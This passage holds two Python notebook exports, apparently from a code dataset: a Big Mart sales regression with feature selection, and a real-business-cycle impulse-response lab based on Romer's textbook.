Feature\ntrain.corr()\nplt.figure(figsize = (10,5))\nsns.heatmap(train.corr(), annot=True)\n\n# You will see from the Correlation matrix only item_MRP correlated with Item_Outlet_Sales, Attributes not correlate each other\n\n# # Bivariate Analysis\n\n# To understand relationship between our features and target variable\n\n#Item Type and Outlet Sales by median\nItem_Type_pivot = train.pivot_table(index='Item_Type', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nItem_Type_pivot.plot(kind='bar', color='blue', figsize = (10,5))\nplt.xlabel('Item Type')\nplt.ylabel('Item Outlet Sales')\nplt.title('Item Type vs Outlet Sales')\nplt.show()\n\n#Outlet Size and Outlet Sales by median\nOutlet_Size_pivot = train.pivot_table(index='Outlet_Size', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Size_pivot.plot(kind='bar', color='blue', figsize = (10,5))\nplt.xlabel('Outlet Size')\nplt.ylabel('Item Outlet Sales')\nplt.title('Outlet Size vs Outlet Sales')\nplt.show()\n\n#Outlet Location and Outlet Sales by median\nOutlet_Location_pivot = train.pivot_table(index='Outlet_Location_Type', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Location_pivot.plot(kind='bar', color='blue', figsize = (10,5))\nplt.xlabel('Outlet Location')\nplt.ylabel('Item Outlet Sales')\nplt.title('Outlet Location vs Outlet Sales')\nplt.show()\n\n#Outlet Type and Outlet Sales by median\nOutlet_Type_pivot = train.pivot_table(index='Outlet_Type', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Type_pivot.plot(kind='bar', color='blue', figsize = (10,5))\nplt.xlabel('Outlet Type')\nplt.ylabel('Item Outlet Sales')\nplt.title('Outlet Type vs Outlet Sales')\nplt.show()\n\n#Outlet Establishment Year and Outlet Sales by median\nEstablishment_Year_pivot = train.pivot_table(index='Outlet_Establishment_Year', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nEstablishment_Year_pivot.plot(kind='bar', color='blue', figsize = (10,5))\nplt.xlabel('Outlet Establishment Year')\nplt.ylabel('Item Outlet Sales')\nplt.title('Outlet Establishment Year vs Outlet Sales')\nplt.show()\n\n#Distribution of Variable \"Outlet Location Type\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Location_Type', hue='Outlet_Size', data= train)\n\n#Distribution of Variable \"Outlet Type\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Type', hue='Outlet_Location_Type', data= train)\n\n#Distribution of Variable \"Outlet Identifier\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Identifier', hue='Outlet_Location_Type', data= train)\n\n#Distribution of Variable \"Outlet Identifier\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Identifier', hue='Outlet_Size', data= train)\n\n#Distribution of Variable \"Outlet Identifier\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Identifier', hue='Outlet_Type', data= train)\n\n#Distribution of Variable \"Outlet Type\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Type', hue='Outlet_Size', data= train)\n\n#Distribution of Variable \"Outlet Establish Year\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Establishment_Year', hue='Outlet_Type', data= train)\n\n#Distribution of Variable \"Outlet Establish Year\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Establishment_Year', hue='Outlet_Location_Type', data= train)\n\n#Distribution of Variable \"Outlet Establish Year\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Establishment_Year', hue='Outlet_Size', data= train)\n\n#Distribution of Variable \"Item Type\"\nplt.figure(figsize=(15,7))\nsns.countplot(y='Item_Type', hue='Outlet_Type', data= train, order= train['Item_Type'].value_counts().index)\n\n# # Data Preprocessing\n\n# We already known what to do, grouping some category, and impute missing value on 3 topic item weight, item visibility, and outlet size\n#\n# before we convert anything in the data set, we have to join train & test data set together\n#\n# Easy to Pre-Processing one time\n\n# +\n#Join Train and Test Data Set\ntrain['source'] = 'train'\ntest['source'] = 'test'\n\ndata = pd.concat([train, test], ignore_index = True, sort = False)\n\n#Check data set after concatenate \nprint(data.head(10))\n# -\n\n#Looking for missing value in term of percentage\ndata.isnull().sum()/data.shape[0]*100\n\n# # Impute Missing Value\n\n# Firstly we gonna grouping Item_Fat_Content into 2 groups 'Low Fat' and 'Regular' replacing to LF, low fat, and reg\n\n#Apply function len(unique()) to every data variable\ndata.apply(lambda x: len(x.unique()))\n\n# +\n#Replace value\ndata['Item_Fat_Content'] = data['Item_Fat_Content'].replace({'low fat':'Low Fat', 'LF':'Low Fat', 'reg':'Regular'})\n\n#Check Item_Fat_Content to make sure only 2 categories\ndata['Item_Fat_Content'].unique()\n\n# +\n#Impute missing value for Item Visibility with median\ndata['Item_Visibility'] = data['Item_Visibility'].replace(0, np.nan)\n\nmedian = data['Item_Visibility'].median()\n\n#Fill NaN with median\ndata['Item_Visibility'] = data['Item_Visibility'].fillna(median)\n\n# +\n#Impute value with mean for Item_Weight due to it is not sensitive with Outlier\nmean_wt = data['Item_Weight'].mean()\n\ndata['Item_Weight'] = data['Item_Weight'].fillna(mean_wt).astype('float')\n\n#Check Missing Value at column Item_Weight\ndata['Item_Weight'].isnull().sum()\n\n# +\n#Impute Category on Outlet Size with Most Common Class\nmost_frequent = data['Outlet_Size'].value_counts().idxmax()\n\ndata['Outlet_Size'] = data['Outlet_Size'].fillna(most_frequent).astype('object')\n\n# -\n\n#After impute all missing value, double check missing value\ndata.isnull().sum()\n\ndata['Outlet_Size'].unique()\n\n# # Create Broad Category Type of Item\n\n# +\n#Get the first two characters of ID:\ndata['Item_Category'] = data['Item_Identifier'].apply(lambda x: x[0:2])\n\n#Rename them as Food , Non-Consumable, and Drink\ndata['Item_Category'] = data['Item_Category'].map({'FD':'Food','NC':'Non-Consumable','DR':'Drinks'})\n\ndata['Item_Category'].value_counts()\n# -\n\n# # Determine the years of operation of a store\n\n# Due to the data was collect in 2013, we gonna calculate present year of operation in 2013\n\n#Years of Operation:\ndata['Outlet_Years'] = 2013 - data['Outlet_Establishment_Year']\ndata['Outlet_Years'].describe()\n\n# # Feature Engineering with Categorical Data\n\n# Feature Engineer with Ordinal data so we use mapping the number to them\n\n#Transform and Mapping Outlet Size\noutlet_size_map = {'Small':1, 'Medium':2, 'High':3}\ndata['Outlet_Size'] = data['Outlet_Size'].apply(lambda line: outlet_size_map[line])\n\n#Transform and Mapping Outlet Location\noutlet_location_map ={'Tier 1':1, 'Tier 2':2, 'Tier 3':3}\ndata['Outlet_Location_Type'] = data['Outlet_Location_Type'].apply(lambda line: outlet_location_map[line])\n\n# Feature Engineer with Non-ordinal data so we use dummy variable and drop 1 column\n\n# +\n#Transform Outlet Type by dummy variable\ntype_dummy_features = pd.get_dummies(data['Outlet_Type'], drop_first=True)\n\ndata = pd.concat([data, type_dummy_features], axis=1)\n\n# +\n#Transform Fat Content by dummy variable\nfatcontent_dummy_features = pd.get_dummies(data['Item_Fat_Content'],drop_first=True)\n\ndata = pd.concat([data, fatcontent_dummy_features], axis=1)\n\n# +\n#Transform Item_Type by dummy variable\ncategory_dummy_features = pd.get_dummies(data['Item_Category'], drop_first=True)\n\ndata = pd.concat([data, category_dummy_features], axis=1)\n\n# +\n#Transform Outlet_Identifier by dummy variable\noutlet_dummy_features = pd.get_dummies(data['Outlet_Identifier'], drop_first=True)\n\ndata = pd.concat([data, outlet_dummy_features], axis=1)\n# -\n\n# We gonna drop some features that are not necessary as following\n#\n# 'Item_Identifier', 'Item_Fat_Content', 'Item_Type', 'Outlet_Identifier'\n\n#Drop some feature that not necessary for prediction target variable\ndata = data.drop(['Item_Identifier', 'Item_Fat_Content', 'Item_Type','Item_Category', 'Outlet_Identifier','Outlet_Establishment_Year', 'Outlet_Type'], axis=1)\n\ndata.head()\n\n#Check Columns' Name List\ndata.columns.tolist()\n\ncols = ['Item_Weight',\n 'Item_Visibility',\n 'Item_MRP',\n 'Outlet_Size',\n 'Outlet_Location_Type',\n 'Outlet_Years',\n 'Supermarket Type1',\n 'Supermarket Type2',\n 'Supermarket Type3',\n 'Regular',\n 'Food',\n 'Non-Consumable',\n 'OUT013',\n 'OUT017',\n 'OUT018',\n 'OUT019',\n 'OUT027',\n 'OUT035',\n 'OUT045',\n 'OUT046',\n 'OUT049',\n 'Item_Outlet_Sales',\n 'source']\n\n\n#Rearrange Columns\ndata = data[cols]\n\n# +\n#Export Data to Data Science Project, save as csv file\n#Divide to test set & train set\ntrain = data.loc[data['source']=='train']\ntest = data.loc[data['source']=='test']\n\n#Drop Unnecessary Column\ntrain.drop('source', axis =1, inplace = True)\ntest.drop('source', axis=1, inplace = True)\n\n#Export File as Modified Version\ntrain.to_csv('/Users/AdMiN/Desktop/Data Science Projects/Big Mart Sale Practice Problem/train_bigmart_modified.csv', index=False)\ntest.to_csv('/Users/AdMiN/Desktop/Data Science Projects/Big Mart Sale Practice Problem/test_bigmart_modified.csv', index=False)\n# -\n\n# # Model Building\n\n#Import Modified Data Set\ntrain_modified = pd.read_csv('/Users/AdMiN/Desktop/Data Science Projects/Big Mart Sale Practice Problem/train_bigmart_modified.csv')\ntest_modified = pd.read_csv('/Users/AdMiN/Desktop/Data Science Projects/Big Mart Sale Practice Problem/test_bigmart_modified.csv')\n\ntrain_modified.head()\n\n# # Linear Regression Model\n\n# +\n#import important library\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn import metrics\nfrom sklearn.linear_model import LinearRegression\n\n#Define variables\nX = train_modified.drop('Item_Outlet_Sales', axis=1) #Feature Variables\ny = train_modified['Item_Outlet_Sales'] #Target Variable\n\n#Split data set to 30% Test Set\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\n\n#Instantiate Linear Regression Model\nlr = LinearRegression(normalize=True)\n\n#Cross Validate with 10 fold by using neg_mean_squared_error\nlr_score = -cross_val_score(lr, X_train, y_train, scoring='neg_mean_squared_error', cv=10)\n\n# +\n#Average RMSE\nRMSE = np.sqrt(np.mean(lr_score))\n\nprint('RMSE of Linear Regression:{:.2f}'.format(RMSE))\n# -\n\n#Cross Validate with 10 fold by using R-Square\nlr_score = cross_val_score(lr, X_train, y_train, cv=10)\n\n#Average R-Square\nprint('R-Square of Linear Regression:{:.4f}'.format(np.mean(lr_score)))\n\n# +\n#Fit Linear Regression Model with Training Set\nlr.fit(X_train, y_train)\n\nlabels = X_train.columns\n\n#Plot Graph to see Coefficient\ncoef1 = pd.Series(lr.coef_, labels).sort_values()\nplt.figure(figsize=(12,7))\ncoef1.plot(kind='bar', title='Model Coefficients')\n# -\n\n# # Feature Selection with Backward Elimination\n\n# +\n# Import statsmodels\nimport statsmodels.api as sm\n\n#Adding constant for OLS model\nX_1 = sm.add_constant(X_train)\n\n#Fitting sm.OLS model to training set\nmodel = sm.OLS(y_train, X_1).fit()\n\n#P-value\nmodel.pvalues\n\n# +\n#Backward Elimination\ncols = list(X_train.columns)\npmax = 1\n\nwhile (len(cols)>0):\n \n X_1 = X_train[cols]\n X_1 = sm.add_constant(X_1)\n model = sm.OLS(y_train, X_1).fit()\n p = pd.Series(model.pvalues.values[1:], index = cols)\n pmax = max(p)\n feature_with_p_max = p.idxmax()\n if (pmax > 0.05):\n cols.remove(feature_with_p_max)\n else:\n break\n# -\n\nselected_features_BE = cols\nprint(selected_features_BE)\n\n# +\n#Backward Elimination Data\nX_train_BE = X_train[selected_features_BE]\n\n#Cross Validate for Linear Regression Model after Backward Elimination\nlrBE_score = -cross_val_score(lr, X_train_BE, y_train, scoring = 'neg_mean_squared_error', cv=10)\n\n#Average RMSE\nRMSE_BE = np.sqrt(np.mean(lrBE_score))\n\nprint('RMSE of Linear Regression:{:.2f}'.format(RMSE_BE))\n# -\n\n# # Feature Selection with Embedded Method\n\n# +\n#Using Lasso Regression for Embedded Method\nfrom sklearn.linear_model import LassoCV, Lasso\n\n#Instantiate LassoCV by using 10 fold\nlasso_cv = LassoCV(cv=10, random_state=42, normalize=True)\n\n#Fit cross validate to training set\nlasso_cv.fit(X_train, y_train)\n\n#Find Best Alpha and Best Score\nprint('Best Alpha using built-in LassoCV: %f' %lasso_cv.alpha_)\nprint('Best Score using built-in LassoCV: %f' %lasso_cv.score(X_train, y_train))\n# -\n\ncoef = pd.Series(lasso_cv.coef_, index = X_train.columns)\nprint('Lasso picked ' + str(sum(coef !=0))+ ' variables and eliminated the other '+str(sum(coef==0))+' variables')\n\n#Plot Coef Graph\nimp_coef = coef.sort_values()\nplt.figure(figsize = (8, 10))\nimp_coef.plot(kind='barh')\nplt.title('Feature Importance Using Lasso Model')\n\n# +\ncols_lasso = coef[coef!=0].index\n\n#Embedded Method with LassoCV data set\nX_train_lasso = X_train[cols_lasso]\n\n#Cross Validate for Linear Regression Model after Lasso Selection\nlrEM_score = -cross_val_score(lr, X_train_lasso, y_train, scoring = 'neg_mean_squared_error', cv=10)\n\n#Average RMSE\nRMSE_EM = np.sqrt(np.mean(lrEM_score))\n\nprint('RMSE of Linear Regression:{:.2f}'.format(RMSE_EM))\n# -\n\n# # Recursive Feature Elimination\n\n# +\n#Import Recursive Feature Selection\nfrom sklearn.feature_selection import RFE\n\n#No of Features\nnof_list = np.arange(1,21)\nhigh_score = 0\n\n#Variable to store the optimum features\nnof = 0\nscore_list = []\nfor n in range(len(nof_list)):\n model = LinearRegression(normalize=True)\n rfe = RFE(model, nof_list[n])\n X_train_rfe = rfe.fit_transform(X_train, y_train)\n X_test_rfe = rfe.transform(X_test)\n model.fit(X_train_rfe, y_train)\n score = model.score(X_test_rfe, y_test)\n score_list.append(score)\n if (score > high_score):\n high_score = score\n nof = nof_list[n]\n\nprint('Optimum number of features: %d' %nof)\nprint('Score with %d features: %f' %(nof, high_score))\n\n# +\n#Feature Given by RFE\ncols_rfe = list(X_train.columns)\nmodel = LinearRegression(normalize=True)\n\n#Instantiate RFE Model\nrfe = RFE(model, 19)\n\n#Transforming Data using RFE\nX_train_rfe = rfe.fit_transform(X_train, y_train)\n\n#Fitting data to the model\nmodel.fit(X_train_rfe, y_train)\n\n#Feature Selection\ntemp = pd.Series(rfe.support_, index = cols_rfe)\nselected_features_rfe = temp[temp==True].index\nprint(selected_features_rfe)\n\n# +\n#Embedded Method with LassoCV data set\nX_train_RFE = X_train[selected_features_rfe]\n\n#Cross Validate for Linear Regression Model after Lasso Selection\nlrRFE_score = -cross_val_score(lr, X_train_RFE, y_train, scoring = 'neg_mean_squared_error', cv=10)\n\n#Average RMSE\nRMSE_RFE = np.sqrt(np.mean(lrRFE_score))\n\nprint('RMSE of Linear Regression:{:.2f}'.format(RMSE_RFE))\n# -\n\n\n","repo_name":"PanuwatUlis/ML_Model_for_Predict_Big_Mart_Sale","sub_path":"Regression with Big Mart Sale.ipynb","file_name":"Regression with Big Mart Sale.ipynb","file_ext":"py","file_size_in_byte":18866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"17607561806","text":"# + [markdown] id=\"j7qVBVmUFiTB\"\n# # Advanced Macro II\n# ## Real-Business-Cycle Model\n# [Romer, David. (2019). Advanced Macroeconomics. New York: McGraw-Hill/Irwin.](https://www.mheducation.com/highered/product/advanced-macroeconomics-romer/M9781260185218.html)\n#\n# In this notebook, you will compute and and plot impulse responses for shocks to technology and government spending according to a real-business cycle model. For the theory behind this notebook, see Romer (2019), chapter 5, *Real-Business-Cycle Theory*. The key equations are below. Their derivation and explanation is in the book.\n\n# + [markdown] id=\"VsIpS6HkFiTE\"\n# ### Key equations for the log-deviations from trend\n# Consumption and employment (eq. (5.51) and (5.52)):\n#\n# $$ \\begin{aligned}\n# \\tilde{C}_{t+1} \\simeq a_{CK} \\tilde{K}_{t+1} + a_{CA} \\tilde{A}_{t+1} + a_{CG} \\tilde{G}_{t+1} \\\\\n# \\tilde{L}_{t+1} \\simeq a_{LK} \\tilde{K}_{t+1} + a_{LA} \\tilde{A}_{t+1} + a_{LG} \\tilde{G}_{t+1}\n# \\end{aligned}$$\n#\n# Capital (eq. (5.53)):\n#\n# $$ \\tilde{K}_{t+1} \\simeq b_{KK} \\tilde{K}_{t} + b_{KA} \\tilde{A}_{t} + b_{KG} \\tilde{G}_{t} $$\n#\n# Technology and government spending (eq. (5.9) and (5.11)):\n#\n# $$ \\begin{aligned}\n# \\tilde{A}_{t+1} \\simeq \\rho_A \\tilde{A}_{t} \\\\\n# \\tilde{G}_{t+1} \\simeq \\rho_G \\tilde{G}_{t}\n# \\end{aligned}$$\n#\n# Output (eq. (5.54)):\n#\n# $$ \\tilde{Y}_t = \\alpha \\tilde{K}_t + (1 - \\alpha) (\\tilde{L}_t + \\tilde{A}_t) $$\n\n# + [markdown] id=\"OqoUWpmFFiTF\"\n# ### Computing the impulse responses\n# With these key equations, we discuss the solution algorithm. Notice that we have two types of equations:\n# 1. Equations for the evolution of the state variables, in which time subscripts on the right hand side are smaller than those on the left-hand side ($\\tilde{A}_{t+1}$, $\\tilde{G}_{t+1}$, and $\\tilde{K}_{t+1}$)\n# 2. Equations for the controls and thus output, in which time subscripts of both sides of the equation are equal ($\\tilde{C}_{t+1}$, $\\tilde{L}_{t+1}$, and $\\tilde{Y}_t$)\n#\n# Using starting values (either the ones on the balanced growth path, or those implied by setting the initial value of the specific shocks, e.g. $\\tilde{A}_0 = 1$ to retrieve the impact of a $1\\%$ technology shock), we can iterate over the time periods $t = 1, 2, \\dots, T$ and compute the value of each variable in the above equations based on the value we computed in the last iteration (or based on the the initial values in the first iteration). Note that it is crucial to start by computing the log-deviations of the state variables $\\tilde{A}_t$, $\\tilde{G}_t$, and $\\tilde{K}_t$ because these values are needed **in the same time iteration** for the computation of the log-deviations of the control variables $\\tilde{C}_{t}$ and $\\tilde{L}_{t}$, and thus $\\tilde{Y}_t$ \n#\n# **Note on the units:** because the variables are log-deviations from the balanced growth path, a deviation of $1$ denotes approximately a deviation of $1\\%$.\n\n# + [markdown] id=\"uDgMi_atFiTH\"\n# Let's start with a short example, illustrating the effect of a technology shock on the deviation of technology from the steady state.\n\n# + id=\"nCazQbQmFiTI\"\n# Before we start, import a linear algebra and plotting library\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# + id=\"gCpBoiE3FiTK\"\nT = 40 # Number of periods we consider\nrho_A = 0.95 # AR(1) coefficient of technology shock, taken from chapter 5.7\nA = np.zeros(T) # Create a Tx1 vector of zeros\nA[0] = 1 # Set the first element of this vector to 1 (this is the technology shock of 1%)\nfor t in range(1, T): # Iterate over the time periods and fill the vector progressively\n A[t] = rho_A * A[t-1] # Compute the element of the vector according to the formula for technology above\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 374} id=\"JHTD_6X5FiTL\" outputId=\"58145fc4-7a80-491b-dea9-ee24fc96f5d3\"\n# Plot the results to see what A looks like\nplt.figure(figsize=(12,6)) # Define plot size\nplt.plot(A, label = \"A (Technology)\") # Plot path of technology\nplt.legend() # Add the legend top right\nplt.show() # Display the plot\n\n# + [markdown] id=\"KXEfvz3-FiTN\"\n# We see how $\\tilde{A}_t$ gradually decays to $0$ as $t$ increases, as expected given the autocorrelation coeficient which is less than 1. Now let's compute all the variables which characterize the dynamic equilibrium of the economy.\n\n# + [markdown] id=\"y8jEEbJhsViM\"\n# ### Set the deep parameters (for preferences and technology) as in chapter 5.7 in Romer.\n#\n# You can also change these parameters and re-run the notebook to see how this affects the equilibrium of the economy!\n\n# + id=\"AqR7dKdDFiTN\"\n# Set the deep parameters as in chapter 5.7\nT = 40 # Number of periods\nalpha = 1/3 # Cobb-Douglas parameter (calibrated to the capital share of output)\ng = 0.005 # Productivity growth rate\nn = 0.0025 \nr = 0.015 # Interest rate\nGY = 0.2 # Ratio of G to Y on the balanced growth path\nl = 1/3 # Labor supply on the balanced growth path\ndelta = 0.025 # Depreciation rate\nrho_A = 0.95 # AR(1) coefficient of technology shock\nrho_G = 0.95 # AR(1) coefficient of government spending shock\n\n# + [markdown] id=\"uaOHzgdGsViM\"\n# ### Calculate coefficients of the key equations \n\n# + [markdown] id=\"YISpQ3nesViM\"\n# The following step is necessary to express coefficients $a_{CK}, a_{LK}, a_{CA}, a_{LA}, a_{CG}, a_{LG}, b_{KK}, b_{KA}, b_{KG}$ in the key equations as functions of the deep parameters. This allows us to fully characterize the model in terms of the parameters (and thus change them to see how this impacts the equilibrium). However, solving a system of equations with Python is not the goal of this lab session. Consequently the code is not discussed in detail.\n#\n# To find out how to derive these equations, follow chapter 5.6 and solve exercise 5.15.\n\n# + id=\"qxGIO9FSsViO\"\n# Import the solver library\nimport sympy as sym\n# Set up the lambda values\nlambda_1 = (1+r)/np.exp(n+g)\nlambda_2 = (1-alpha)*(r+delta)/(alpha*np.exp(n+g))\nlambda_3 = -(r+delta)*GY/(alpha*np.exp(n+g))\n# Pre-compute and store some factors that repeat across equations below for better code legibility\nlambda_4 = (1-alpha)*(r+delta)/(1+r)\nlambda_5 = l/(1-l)+alpha\n\n# + id=\"GYV-Ao6GsViO\"\n# Determine the system of equations and solve it using sympy\na_CK, a_LK = sym.symbols('a_CK, a_LK')\na_CA, a_LA = sym.symbols('a_CA, a_LA')\na_CG, a_LG = sym.symbols('a_CG, a_LG')\neq1 = sym.Eq((lambda_4*a_LK-lambda_4-a_CK)*(lambda_1+lambda_2*a_LK+(1-lambda_1-lambda_2-lambda_3)*a_CK), -a_CK)\neq2 = sym.Eq((lambda_4*a_LK-lambda_4-a_CK)*(lambda_2*(1+a_LA)+(1-lambda_1-lambda_2-lambda_3)*a_CA)+rho_A*(lambda_4*(1+a_LA)-a_CA), -a_CA)\neq3 = sym.Eq((lambda_4*a_LK-lambda_4-a_CK)*(lambda_2*a_LG+lambda_3+(1-lambda_1-lambda_2-lambda_3)*a_CG)+rho_G*(lambda_4*a_LG-a_CG), -a_CG)\neq4 = sym.Eq(a_CK+lambda_5*a_LK, alpha)\neq5 = sym.Eq(a_CA+lambda_5*a_LA, 1-alpha)\neq6 = sym.Eq(a_CG+lambda_5*a_LG, 0)\nresult = sym.solve([eq1, eq2, eq3, eq4, eq5, eq6])\n\n# + id=\"bFLPcOBvsViP\"\n# Extract the parameters from the result\na_CK = result[0][a_CK]\na_LK = result[0][a_LK]\na_CA = result[0][a_CA]\na_LA = result[0][a_LA]\na_CG = result[0][a_CG]\na_LG = result[0][a_LG]\n# Compute the parameters for equation (5.53)\nb_KK = lambda_1 + lambda_2 * a_LK + (1 - lambda_1 - lambda_2 - lambda_3) * a_CK\nb_KA = lambda_2 * (1 + a_LA) + (1 - lambda_1 - lambda_2 - lambda_3) * a_CA\nb_KG = lambda_2 * a_LG + lambda_3 + (1 - lambda_1 - lambda_2 - lambda_3) * a_CG\n\n# + [markdown] id=\"HnrvY0CwFiTO\"\n# ### Effect of a 1% shock to technology\n\n# + id=\"tZ8D8jWjFiTP\"\n# Initialize empty Tx1 vectors for all variables of interest\nA = np.zeros(T)\nG = np.zeros(T)\nK = np.zeros(T)\nC = np.zeros(T)\nL = np.zeros(T)\nY = np.zeros(T)\nw = np.zeros(T)\nir = np.zeros(T)\n\n# + id=\"5oA0OnrJFiTR\"\n# Add a 1% techonology shock to the first period\nA[0] = 1\n\n# + id=\"sEl1W9n0FiTR\"\n# Iterate over the periods and compute the variables sequentially\nfor t in range(T):\n if t > 0:\n # Variables which only need values from the past iteration (state variables)\n A[t] = rho_A * A[t-1] # Eq. (5.9)\n G[t] = rho_G * G[t-1] # Eq. (5.11)\n K[t] = b_KK * K[t-1] + b_KA * A[t-1] + b_KG * G[t-1] # Eq. (5.53)\n # Variables which need the variables just computed in this same iteration (control variables and output)\n C[t] = a_CK * K[t] + a_CA * A[t] + a_CG * G[t] # Eq. (5.51)\n L[t] = a_LK * K[t] + a_LA * A[t] + a_LG * G[t] # Eq. (5.52)\n Y[t] = alpha * K[t] + (1 - alpha) * (L[t] + A[t]) # Eq. (5.54)\n w[t] = (1 - alpha) * A[t] + alpha * K[t] - alpha * L[t] # Eq. (5.46)\n ir[t] = 4*(1-alpha)*(r+delta)/(1+r) *(A[t] + L[t] - K[t])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 499} id=\"ojqGiNiMFiTS\" outputId=\"2725c59d-8d7a-4200-c9a6-c8e792b3040b\"\n# Plot the results\nplt.figure(figsize=(12,8)) # Define plot size\nplt.grid()\nplt.plot(A, label = \"A (Technology)\") # Plot path of technology\nplt.plot(K, label = \"K (Capital)\") # Plot path of capital\nplt.plot(L, label = \"L (Labor)\") # Plot path of labor\n# Add a horizontal line at zero\nplt.hlines(0, 0, T, linestyles = \"dashed\", colors = \"grey\") \nplt.legend() # Add the legend (A, K, L) top right\n# Scale the y-axis similarly to what is found in the book\nplt.axis(ymin = -0.2, ymax = 1)\n# Add a title\nplt.title(\"Effect of a technology shock on the paths of technology, capital and labor\")\nplt.show() # Display the plot\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 499} id=\"5mM3OR52FiTS\" outputId=\"cc4b9614-d522-423c-81e9-9a4dfe014956\"\n# Plot the results\nplt.figure(figsize=(12,8)) # Define plot size\nplt.grid()\nplt.plot(C, label = \"C (Consumption)\") # Plot path of consumption\nplt.plot(Y, label = \"Y (Output)\") # Plot path of output\n# Add a horizontal line at zero\nplt.hlines(0, 0, T, linestyles = \"dashed\", colors = \"grey\") \nplt.legend() # Add the legend (C, Y) top right\n# Scale the y-axis similarly to what is found in the book\nplt.axis(ymin = -0.2, ymax = 1)\n# Add a title\nplt.title(\"Effect of a technology shock on the paths of output and consumption\")\nplt.show() # Display the plot\n\n# + id=\"Vp3_WF2LsViR\" outputId=\"e0f0d128-1c3c-43a3-e579-aeae79af4ddf\"\n# Plot the results\nplt.figure(figsize=(12,8)) # Define plot size\nplt.grid()\nplt.plot(w, label = \"w (Wage)\") # Plot path of wage\nplt.plot(ir, label = \"r (Interest rate)\") # Plot path of interest rate\n# Add a horizontal line at zero\nplt.hlines(0, 0, T, linestyles = \"dashed\", colors = \"grey\") \nplt.legend() # Add the legend (C, Y) top right\n# Scale the y-axis similarly to what is found in the book\nplt.axis(ymin = -0.2, ymax = 1)\n# Add a title\nplt.title(\"Effect of a technology shock on the paths of wage and interest rate\")\nplt.show() # Display the plot\n\n# + [markdown] id=\"qPSu7QoKFiTT\"\n# ### Effect of a 1% shock to government spending\n\n# + id=\"aZfmdvhCFiTT\"\n# Initialize empty Tx1 vectors for all variables of interest\nA = np.zeros(T)\nG = np.zeros(T)\nK = np.zeros(T)\nC = np.zeros(T)\nL = np.zeros(T)\nY = np.zeros(T)\nw = np.zeros(T)\nir = np.zeros(T)\n\n# + id=\"PVf4DD_ZFiTU\"\n# Add a 1% government spending shock to the first period\nG[0] = 1\n\n# + id=\"8HwzSDZ5FiTV\"\n# Iterate over the periods and compute the variables sequentially\nfor t in range(T):\n if t > 0:\n # Variables which only need values from the past iteration (state variables)\n A[t] = rho_A * A[t-1] # Eq. (5.9)\n G[t] = rho_G * G[t-1] # Eq. (5.11)\n K[t] = b_KK * K[t-1] + b_KA * A[t-1] + b_KG * G[t-1] # Eq. (5.53)\n # Variables which need the variables just computed in this same iteration (control variables and output)\n C[t] = a_CK * K[t] + a_CA * A[t] + a_CG * G[t] # Eq. (5.51)\n L[t] = a_LK * K[t] + a_LA * A[t] + a_LG * G[t] # Eq. (5.52)\n Y[t] = alpha * K[t] + (1 - alpha) * (L[t] + A[t]) # Eq. (5.54)\n w[t] = (1 - alpha) * A[t] + alpha * K[t] - alpha * L[t] # Eq. (5.46)\n ir[t] = 4*(1-alpha)*(r+delta)/(1+r) *(A[t] + L[t] - K[t])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 499} id=\"fy6dmDrXFiTV\" outputId=\"0c04c687-aa14-4e44-c7e0-721f99c2f1c0\"\n# Plot the results\nplt.figure(figsize=(12,8)) # Define plot size\nplt.grid()\nplt.plot(K, label = \"K (Capital)\") # Plot path of capital\nplt.plot(L, label = \"L (Labor)\") # Plot path of labor\n# Add a horizontal line at zero\nplt.hlines(0, 0, T, linestyles = \"dashed\", colors = \"grey\") \nplt.legend() # Add the legend (A, K, L) top right\n# Scale the y-axis similarly to what is found in the book\nplt.axis(ymin = -0.2, ymax = 0.2)\n# Add a title\nplt.title(\"Effect of a government spending shock on the paths of capital and labor\")\nplt.show() # Display the plot\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 499} id=\"pMPmBj2BFiTW\" outputId=\"d856f15d-d601-4f8c-d0cc-4e05423cb2f8\"\n# Plot the results\nplt.figure(figsize=(12,8)) # Define plot size\nplt.grid()\nplt.plot(C, label = \"C (Consumption)\") # Plot path of consumption\nplt.plot(Y, label = \"Y (Output)\") # Plot path of output\n# Add a horizontal line at zero\nplt.hlines(0, 0, 40, linestyles = \"dashed\", colors = \"grey\") \nplt.legend() # Add the legend (C, Y) top right\n# Scale the y-axis similarly to what is found in the book\nplt.axis(ymin = -0.2, ymax = 0.2)\n# Add a title\nplt.title(\"Effect of a government spending shock on the paths of output and consumption\")\nplt.show() # Display the plot\n\n# + id=\"Kj_MZpBjsViT\" outputId=\"fb8b9e16-edc3-4bcf-ba4b-09fe9b4a4d04\"\n# Plot the results\nplt.figure(figsize=(12,8)) # Define plot size\nplt.grid()\nplt.plot(w, label = \"w (Wage)\") # Plot path of wage\nplt.plot(ir, label = \"r (Interest rate)\") # Plot path of interest rate\n# Add a horizontal line at zero\nplt.hlines(0, 0, T, linestyles = \"dashed\", colors = \"grey\") \nplt.legend() # Add the legend (C, Y) top right\n# Scale the y-axis similarly to what is found in the book\nplt.axis(ymin = -0.2, ymax = 0.2)\n# Add a title\nplt.title(\"Effect of a technology shock on the paths of wage and interest 